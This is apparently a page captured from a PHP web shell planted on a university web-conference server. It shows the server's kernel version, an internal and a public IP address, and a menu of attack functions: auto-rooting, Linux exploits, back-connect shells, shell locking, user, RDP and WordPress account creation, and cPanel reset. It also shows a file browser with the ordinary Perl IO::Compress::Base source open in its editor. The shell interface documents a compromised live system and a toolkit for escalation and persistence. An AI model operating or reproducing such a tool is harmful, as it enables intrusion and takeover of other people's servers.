Linux web-conference.aiou.edu.pk 5.4.0-204-generic #224-Ubuntu SMP Thu Dec 5 13:38:28 UTC 2024 x86_64
Apache/2.4.41 (Ubuntu)
: 172.16.50.247 | : 3.147.8.46
Cant Read [ /etc/named.conf ]
7.4.3-4ubuntu2.28
appadmin
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
BLACK DEFEND!
README
+ Create Folder
+ Create File
/
usr /
share /
perl /
5.30.0 /
IO /
Compress /
[ HOME SHELL ]
Name
Size
Permission
Action
Adapter
[ DIR ]
drwxr-xr-x
Base
[ DIR ]
drwxr-xr-x
Gzip
[ DIR ]
drwxr-xr-x
Zip
[ DIR ]
drwxr-xr-x
Zlib
[ DIR ]
drwxr-xr-x
Base.pm
23.17
KB
-rw-r--r--
Bzip2.pm
19.79
KB
-rw-r--r--
Deflate.pm
23.1
KB
-rw-r--r--
FAQ.pod
20.35
KB
-rw-r--r--
Gzip.pm
33.35
KB
-rw-r--r--
RawDeflate.pm
25.27
KB
-rw-r--r--
Zip.pm
57.29
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : Base.pm
package IO::Compress::Base ; require 5.006 ; use strict ; use warnings; use IO::Compress::Base::Common 2.084 ; use IO::File (); ; use Scalar::Util (); #use File::Glob; #require Exporter ; use Carp() ; use Symbol(); #use bytes; our (@ISA, $VERSION); @ISA = qw(IO::File Exporter); $VERSION = '2.084'; #Can't locate object method "SWASHNEW" via package "utf8" (perhaps you forgot to load "utf8"?) at .../ext/Compress-Zlib/Gzip/blib/lib/Compress/Zlib/Common.pm line 16. sub saveStatus { my $self = shift ; ${ *$self->{ErrorNo} } = shift() + 0 ; ${ *$self->{Error} } = '' ; return ${ *$self->{ErrorNo} } ; } sub saveErrorString { my $self = shift ; my $retval = shift ; ${ *$self->{Error} } = shift ; ${ *$self->{ErrorNo} } = shift() + 0 if @_ ; return $retval; } sub croakError { my $self = shift ; $self->saveErrorString(0, $_[0]); Carp::croak $_[0]; } sub closeError { my $self = shift ; my $retval = shift ; my $errno = *$self->{ErrorNo}; my $error = ${ *$self->{Error} }; $self->close(); *$self->{ErrorNo} = $errno ; ${ *$self->{Error} } = $error ; return $retval; } sub error { my $self = shift ; return ${ *$self->{Error} } ; } sub errorNo { my $self = shift ; return ${ *$self->{ErrorNo} } ; } sub writeAt { my $self = shift ; my $offset = shift; my $data = shift; if (defined *$self->{FH}) { my $here = tell(*$self->{FH}); return $self->saveErrorString(undef, "Cannot seek to end of output filehandle: $!", $!) if $here < 0 ; seek(*$self->{FH}, $offset, IO::Handle::SEEK_SET) or return $self->saveErrorString(undef, "Cannot seek to end of output filehandle: $!", $!) ; defined *$self->{FH}->write($data, length $data) or return $self->saveErrorString(undef, $!, $!) ; seek(*$self->{FH}, $here, IO::Handle::SEEK_SET) or return $self->saveErrorString(undef, "Cannot seek to end of output filehandle: $!", $!) ; } else { substr(${ *$self->{Buffer} }, $offset, length($data)) = $data ; } return 1; } sub outputPayload { my $self = shift ; return $self->output(@_); } sub output { my $self = shift ; my $data = shift ; my $last = shift ; return 1 if length $data == 0 && ! $last ; if ( *$self->{FilterContainer} ) { *_ = \$data; &{ *$self->{FilterContainer} }(); } if (length $data) { if ( defined *$self->{FH} ) { defined *$self->{FH}->write( $data, length $data ) or return $self->saveErrorString(0, $!, $!); } else { ${ *$self->{Buffer} } .= $data ; } } return 1; } sub getOneShotParams { return ( 'multistream' => [IO::Compress::Base::Common::Parse_boolean, 1], ); } our %PARAMS = ( # Generic Parameters 'autoclose' => [IO::Compress::Base::Common::Parse_boolean, 0], 'encode' => [IO::Compress::Base::Common::Parse_any, undef], 'strict' => [IO::Compress::Base::Common::Parse_boolean, 1], 'append' => [IO::Compress::Base::Common::Parse_boolean, 0], 'binmodein' => [IO::Compress::Base::Common::Parse_boolean, 0], 'filtercontainer' => [IO::Compress::Base::Common::Parse_code, undef], ); sub checkParams { my $self = shift ; my $class = shift ; my $got = shift || IO::Compress::Base::Parameters::new(); $got->parse( { %PARAMS, $self->getExtraParams(), *$self->{OneShot} ? $self->getOneShotParams() : (), }, @_) or $self->croakError("${class}: " . $got->getError()) ; return $got ; } sub _create { my $obj = shift; my $got = shift; *$obj->{Closed} = 1 ; my $class = ref $obj; $obj->croakError("$class: Missing Output parameter") if ! @_ && ! $got ; my $outValue = shift ; my $oneShot = 1 ; if (! $got) { $oneShot = 0 ; $got = $obj->checkParams($class, undef, @_) or return undef ; } my $lax = ! $got->getValue('strict') ; my $outType = IO::Compress::Base::Common::whatIsOutput($outValue); $obj->ckOutputParam($class, $outValue) or return undef ; if ($outType eq 'buffer') { *$obj->{Buffer} = $outValue; } else { my $buff = "" ; *$obj->{Buffer} = \$buff ; } # Merge implies Append my $merge = $got->getValue('merge') ; my $appendOutput = $got->getValue('append') || $merge ; *$obj->{Append} = $appendOutput; *$obj->{FilterContainer} = $got->getValue('filtercontainer') ; if ($merge) { # Switch off Merge mode if output file/buffer is empty/doesn't exist if (($outType eq 'buffer' && length $$outValue == 0 ) || ($outType ne 'buffer' && (! -e $outValue || (-w _ && -z _))) ) { $merge = 0 } } # If output is a file, check that it is writable #no warnings; #if ($outType eq 'filename' && -e $outValue && ! -w _) # { return $obj->saveErrorString(undef, "Output file '$outValue' is not writable" ) } $obj->ckParams($got) or $obj->croakError("${class}: " . $obj->error()); if ($got->getValue('encode')) { my $want_encoding = $got->getValue('encode'); *$obj->{Encoding} = IO::Compress::Base::Common::getEncoding($obj, $class, $want_encoding); my $x = *$obj->{Encoding}; } else { *$obj->{Encoding} = undef; } $obj->saveStatus(STATUS_OK) ; my $status ; if (! $merge) { *$obj->{Compress} = $obj->mkComp($got) or return undef; *$obj->{UnCompSize} = new U64 ; *$obj->{CompSize} = new U64 ; if ( $outType eq 'buffer') { ${ *$obj->{Buffer} } = '' unless $appendOutput ; } else { if ($outType eq 'handle') { *$obj->{FH} = $outValue ; setBinModeOutput(*$obj->{FH}) ; #$outValue->flush() ; *$obj->{Handle} = 1 ; if ($appendOutput) { seek(*$obj->{FH}, 0, IO::Handle::SEEK_END) or return $obj->saveErrorString(undef, "Cannot seek to end of output filehandle: $!", $!) ; } } elsif ($outType eq 'filename') { no warnings; my $mode = '>' ; $mode = '>>' if $appendOutput; *$obj->{FH} = new IO::File "$mode $outValue" or return $obj->saveErrorString(undef, "cannot open file '$outValue': $!", $!) ; *$obj->{StdIO} = ($outValue eq '-'); setBinModeOutput(*$obj->{FH}) ; } } *$obj->{Header} = $obj->mkHeader($got) ; $obj->output( *$obj->{Header} ) or return undef; $obj->beforePayload(); } else { *$obj->{Compress} = $obj->createMerge($outValue, $outType) or return undef; } *$obj->{Closed} = 0 ; *$obj->{AutoClose} = $got->getValue('autoclose') ; *$obj->{Output} = $outValue; *$obj->{ClassName} = $class; *$obj->{Got} = $got; *$obj->{OneShot} = 0 ; return $obj ; } sub ckOutputParam { my $self = shift ; my $from = shift ; my $outType = IO::Compress::Base::Common::whatIsOutput($_[0]); $self->croakError("$from: output parameter not a filename, filehandle or scalar ref") if ! $outType ; #$self->croakError("$from: output filename is undef or null string") #if $outType eq 'filename' && (! defined $_[0] || $_[0] eq '') ; $self->croakError("$from: output buffer is read-only") if $outType eq 'buffer' && Scalar::Util::readonly(${ $_[0] }); return 1; } sub _def { my $obj = shift ; my $class= (caller)[0] ; my $name = (caller(1))[3] ; $obj->croakError("$name: expected at least 1 parameters\n") unless @_ >= 1 ; my $input = shift ; my $haveOut = @_ ; my $output = shift ; my $x = new IO::Compress::Base::Validator($class, *$obj->{Error}, $name, $input, $output) or return undef ; push @_, $output if $haveOut && $x->{Hash}; *$obj->{OneShot} = 1 ; my $got = $obj->checkParams($name, undef, @_) or return undef ; $x->{Got} = $got ; # if ($x->{Hash}) # { # while (my($k, $v) = each %$input) # { # $v = \$input->{$k} # unless defined $v ; # # $obj->_singleTarget($x, 1, $k, $v, @_) # or return undef ; # } # # return keys %$input ; # } if ($x->{GlobMap}) { $x->{oneInput} = 1 ; foreach my $pair (@{ $x->{Pairs} }) { my ($from, $to) = @$pair ; $obj->_singleTarget($x, 1, $from, $to, @_) or return undef ; } return scalar @{ $x->{Pairs} } ; } if (! $x->{oneOutput} ) { my $inFile = ($x->{inType} eq 'filenames' || $x->{inType} eq 'filename'); $x->{inType} = $inFile ? 'filename' : 'buffer'; foreach my $in ($x->{oneInput} ? $input : @$input) { my $out ; $x->{oneInput} = 1 ; $obj->_singleTarget($x, $inFile, $in, \$out, @_) or return undef ; push @$output, \$out ; #if ($x->{outType} eq 'array') # { push @$output, \$out } #else # { $output->{$in} = \$out } } return 1 ; } # finally the 1 to 1 and n to 1 return $obj->_singleTarget($x, 1, $input, $output, @_); Carp::croak "should not be here" ; } sub _singleTarget { my $obj = shift ; my $x = shift ; my $inputIsFilename = shift; my $input = shift; if ($x->{oneInput}) { $obj->getFileInfo($x->{Got}, $input) if isaScalar($input) || (isaFilename($input) and $inputIsFilename) ; my $z = $obj->_create($x->{Got}, @_) or return undef ; defined $z->_wr2($input, $inputIsFilename) or return $z->closeError(undef) ; return $z->close() ; } else { my $afterFirst = 0 ; my $inputIsFilename = ($x->{inType} ne 'array'); my $keep = $x->{Got}->clone(); #for my $element ( ($x->{inType} eq 'hash') ? keys %$input : @$input) for my $element ( @$input) { my $isFilename = isaFilename($element); if ( $afterFirst ++ ) { defined addInterStream($obj, $element, $isFilename) or return $obj->closeError(undef) ; } else { $obj->getFileInfo($x->{Got}, $element) if isaScalar($element) || $isFilename; $obj->_create($x->{Got}, @_) or return undef ; } defined $obj->_wr2($element, $isFilename) or return $obj->closeError(undef) ; *$obj->{Got} = $keep->clone(); } return $obj->close() ; } } sub _wr2 { my $self = shift ; my $source = shift ; my $inputIsFilename = shift; my $input = $source ; if (! $inputIsFilename) { $input = \$source if ! ref $source; } if ( ref $input && ref $input eq 'SCALAR' ) { return $self->syswrite($input, @_) ; } if ( ! ref $input || isaFilehandle($input)) { my $isFilehandle = isaFilehandle($input) ; my $fh = $input ; if ( ! $isFilehandle ) { $fh = new IO::File "<$input" or return $self->saveErrorString(undef, "cannot open file '$input': $!", $!) ; } binmode $fh ; my $status ; my $buff ; my $count = 0 ; while ($status = read($fh, $buff, 16 * 1024)) { $count += length $buff; defined $self->syswrite($buff, @_) or return undef ; } return $self->saveErrorString(undef, $!, $!) if ! defined $status ; if ( (!$isFilehandle || *$self->{AutoClose}) && $input ne '-') { $fh->close() or return undef ; } return $count ; } Carp::croak "Should not be here"; return undef; } sub addInterStream { my $self = shift ; my $input = shift ; my $inputIsFilename = shift ; if (*$self->{Got}->getValue('multistream')) { $self->getFileInfo(*$self->{Got}, $input) #if isaFilename($input) and $inputIsFilename ; if isaScalar($input) || isaFilename($input) ; # TODO -- newStream needs to allow gzip/zip header to be modified return $self->newStream(); } elsif (*$self->{Got}->getValue('autoflush')) { #return $self->flush(Z_FULL_FLUSH); } return 1 ; } sub getFileInfo { } sub TIEHANDLE { return $_[0] if ref($_[0]); die "OOPS\n" ; } sub UNTIE { my $self = shift ; } sub DESTROY { my $self = shift ; local ($., $@, $!, $^E, $?); $self->close() ; # TODO - memory leak with 5.8.0 - this isn't called until # global destruction # %{ *$self } = () ; undef $self ; } sub filterUncompressed { } sub syswrite { my $self = shift ; my $buffer ; if (ref $_[0] ) { $self->croakError( *$self->{ClassName} . "::write: not a scalar reference" ) unless ref $_[0] eq 'SCALAR' ; $buffer = $_[0] ; } else { $buffer = \$_[0] ; } if (@_ > 1) { my $slen = defined $$buffer ? length($$buffer) : 0; my $len = $slen; my $offset = 0; $len = $_[1] if $_[1] < $len; if (@_ > 2) { $offset = $_[2] || 0; $self->croakError(*$self->{ClassName} . "::write: offset outside string") if $offset > $slen; if ($offset < 0) { $offset += $slen; $self->croakError( *$self->{ClassName} . "::write: offset outside string") if $offset < 0; } my $rem = $slen - $offset; $len = $rem if $rem < $len; } $buffer = \substr($$buffer, $offset, $len) ; } return 0 if (! defined $$buffer || length $$buffer == 0) && ! *$self->{FlushPending}; # *$self->{Pending} .= $$buffer ; # # return length $$buffer # if (length *$self->{Pending} < 1024 * 16 && ! *$self->{FlushPending}) ; # # $$buffer = *$self->{Pending} ; # *$self->{Pending} = ''; if (*$self->{Encoding}) { $$buffer = *$self->{Encoding}->encode($$buffer); } else { $] >= 5.008 and ( utf8::downgrade($$buffer, 1) or Carp::croak "Wide character in " . *$self->{ClassName} . "::write:"); } $self->filterUncompressed($buffer); my $buffer_length = defined $$buffer ? length($$buffer) : 0 ; *$self->{UnCompSize}->add($buffer_length) ; my $outBuffer=''; my $status = *$self->{Compress}->compr($buffer, $outBuffer) ; return $self->saveErrorString(undef, *$self->{Compress}{Error}, *$self->{Compress}{ErrorNo}) if $status == STATUS_ERROR; *$self->{CompSize}->add(length $outBuffer) ; $self->outputPayload($outBuffer) or return undef; return $buffer_length; } sub print { my $self = shift; #if (ref $self) { # $self = *$self{GLOB} ; #} if (defined $\) { if (defined $,) { defined $self->syswrite(join($,, @_) . $\); } else { defined $self->syswrite(join("", @_) . $\); } } else { if (defined $,) { defined $self->syswrite(join($,, @_)); } else { defined $self->syswrite(join("", @_)); } } } sub printf { my $self = shift; my $fmt = shift; defined $self->syswrite(sprintf($fmt, @_)); } sub _flushCompressed { my $self = shift ; my $outBuffer=''; my $status = *$self->{Compress}->flush($outBuffer, @_) ; return $self->saveErrorString(0, *$self->{Compress}{Error}, *$self->{Compress}{ErrorNo}) if $status == STATUS_ERROR; if ( defined *$self->{FH} ) { *$self->{FH}->clearerr(); } *$self->{CompSize}->add(length $outBuffer) ; $self->outputPayload($outBuffer) or return 0; return 1; } sub flush { my $self = shift ; $self->_flushCompressed(@_) or return 0; if ( defined *$self->{FH} ) { defined *$self->{FH}->flush() or return $self->saveErrorString(0, $!, $!); } return 1; } sub beforePayload { } sub _newStream { my $self = shift ; my $got = shift; my $class = ref $self; $self->_writeTrailer() or return 0 ; $self->ckParams($got) or $self->croakError("newStream: $self->{Error}"); if ($got->getValue('encode')) { my $want_encoding = $got->getValue('encode'); *$self->{Encoding} = IO::Compress::Base::Common::getEncoding($self, $class, $want_encoding); } else { *$self->{Encoding} = undef; } *$self->{Compress} = $self->mkComp($got) or return 0; *$self->{Header} = $self->mkHeader($got) ; $self->output(*$self->{Header} ) or return 0; *$self->{UnCompSize}->reset(); *$self->{CompSize}->reset(); $self->beforePayload(); return 1 ; } sub newStream { my $self = shift ; my $got = $self->checkParams('newStream', *$self->{Got}, @_) or return 0 ; $self->_newStream($got); # *$self->{Compress} = $self->mkComp($got) # or return 0; # # *$self->{Header} = $self->mkHeader($got) ; # $self->output(*$self->{Header} ) # or return 0; # # *$self->{UnCompSize}->reset(); # *$self->{CompSize}->reset(); # # $self->beforePayload(); # # return 1 ; } sub reset { my $self = shift ; return *$self->{Compress}->reset() ; } sub _writeTrailer { my $self = shift ; my $trailer = ''; my $status = *$self->{Compress}->close($trailer) ; return $self->saveErrorString(0, *$self->{Compress}{Error}, *$self->{Compress}{ErrorNo}) if $status == STATUS_ERROR; *$self->{CompSize}->add(length $trailer) ; $trailer .= $self->mkTrailer(); defined $trailer or return 0; return $self->output($trailer); } sub _writeFinalTrailer { my $self = shift ; return $self->output($self->mkFinalTrailer()); } sub close { my $self = shift ; return 1 if *$self->{Closed} || ! *$self->{Compress} ; *$self->{Closed} = 1 ; untie *$self if $] >= 5.008 ; *$self->{FlushPending} = 1 ; $self->_writeTrailer() or return 0 ; $self->_writeFinalTrailer() or return 0 ; $self->output( "", 1 ) or return 0; if (defined *$self->{FH}) { if ((! *$self->{Handle} || *$self->{AutoClose}) && ! *$self->{StdIO}) { $! = 0 ; *$self->{FH}->close() or return $self->saveErrorString(0, $!, $!); } delete *$self->{FH} ; # This delete can set $! in older Perls, so reset the errno $! = 0 ; } return 1; } #sub total_in #sub total_out #sub msg # #sub crc #{ # my $self = shift ; # return *$self->{Compress}->crc32() ; #} # #sub msg #{ # my $self = shift ; # return *$self->{Compress}->msg() ; #} # #sub dict_adler #{ # my $self = shift ; # return *$self->{Compress}->dict_adler() ; #} # #sub get_Level #{ # my $self = shift ; # return *$self->{Compress}->get_Level() ; #} # #sub get_Strategy #{ # my $self = shift ; # return *$self->{Compress}->get_Strategy() ; #} sub tell { my $self = shift ; return *$self->{UnCompSize}->get32bit() ; } sub eof { my $self = shift ; return *$self->{Closed} ; } sub seek { my $self = shift ; my $position = shift; my $whence = shift ; my $here = $self->tell() ; my $target = 0 ; #use IO::Handle qw(SEEK_SET SEEK_CUR SEEK_END); use IO::Handle ; if ($whence == IO::Handle::SEEK_SET) { $target = $position ; } elsif ($whence == IO::Handle::SEEK_CUR || $whence == IO::Handle::SEEK_END) { $target = $here + $position ; } else { $self->croakError(*$self->{ClassName} . "::seek: unknown value, $whence, for whence parameter"); } # short circuit if seeking to current offset return 1 if $target == $here ; # Outlaw any attempt to seek backwards $self->croakError(*$self->{ClassName} . "::seek: cannot seek backwards") if $target < $here ; # Walk the file to the new offset my $offset = $target - $here ; my $buffer ; defined $self->syswrite("\x00" x $offset) or return 0; return 1 ; } sub binmode { 1; # my $self = shift ; # return defined *$self->{FH} # ? binmode *$self->{FH} # : 1 ; } sub fileno { my $self = shift ; return defined *$self->{FH} ? *$self->{FH}->fileno() : undef ; } sub opened { my $self = shift ; return ! *$self->{Closed} ; } sub autoflush { my $self = shift ; return defined *$self->{FH} ? *$self->{FH}->autoflush(@_) : undef ; } sub input_line_number { return undef ; } sub _notAvailable { my $name = shift ; return sub { Carp::croak "$name Not Available: File opened only for output" ; } ; } *read = _notAvailable('read'); *READ = _notAvailable('read'); *readline = _notAvailable('readline'); *READLINE = _notAvailable('readline'); *getc = _notAvailable('getc'); *GETC = _notAvailable('getc'); *FILENO = \&fileno; *PRINT = \&print; *PRINTF = \&printf; *WRITE = \&syswrite; *write = \&syswrite; *SEEK = \&seek; *TELL = \&tell; *EOF = \&eof; *CLOSE = \&close; *BINMODE = \&binmode; #*sysread = \&_notAvailable; #*syswrite = \&_write; 1; __END__ =head1 NAME IO::Compress::Base - Base Class for IO::Compress modules =head1 SYNOPSIS use IO::Compress::Base ; =head1 DESCRIPTION This module is not intended for direct use in application code. Its sole purpose is to be sub-classed by IO::Compress modules. =head1 SEE ALSO L<Compress::Zlib>, L<IO::Compress::Gzip>, L<IO::Uncompress::Gunzip>, L<IO::Compress::Deflate>, L<IO::Uncompress::Inflate>, L<IO::Compress::RawDeflate>, L<IO::Uncompress::RawInflate>, L<IO::Compress::Bzip2>, L<IO::Uncompress::Bunzip2>, L<IO::Compress::Lzma>, L<IO::Uncompress::UnLzma>, L<IO::Compress::Xz>, L<IO::Uncompress::UnXz>, L<IO::Compress::Lzip>, L<IO::Uncompress::UnLzip>, L<IO::Compress::Lzop>, L<IO::Uncompress::UnLzop>, L<IO::Compress::Lzf>, L<IO::Uncompress::UnLzf>, L<IO::Compress::Zstd>, L<IO::Uncompress::UnZstd>, L<IO::Uncompress::AnyInflate>, L<IO::Uncompress::AnyUncompress> L<IO::Compress::FAQ|IO::Compress::FAQ> L<File::GlobMapper|File::GlobMapper>, L<Archive::Zip|Archive::Zip>, L<Archive::Tar|Archive::Tar>, L<IO::Zlib|IO::Zlib> =head1 AUTHOR This module was written by Paul Marquess, C<pmqs@cpan.org>. =head1 MODIFICATION HISTORY See the Changes file. =head1 COPYRIGHT AND LICENSE Copyright (c) 2005-2019 Paul Marquess. All rights reserved. This program is free software; you can redistribute it and/or modify it under the same terms as Perl itself.
Close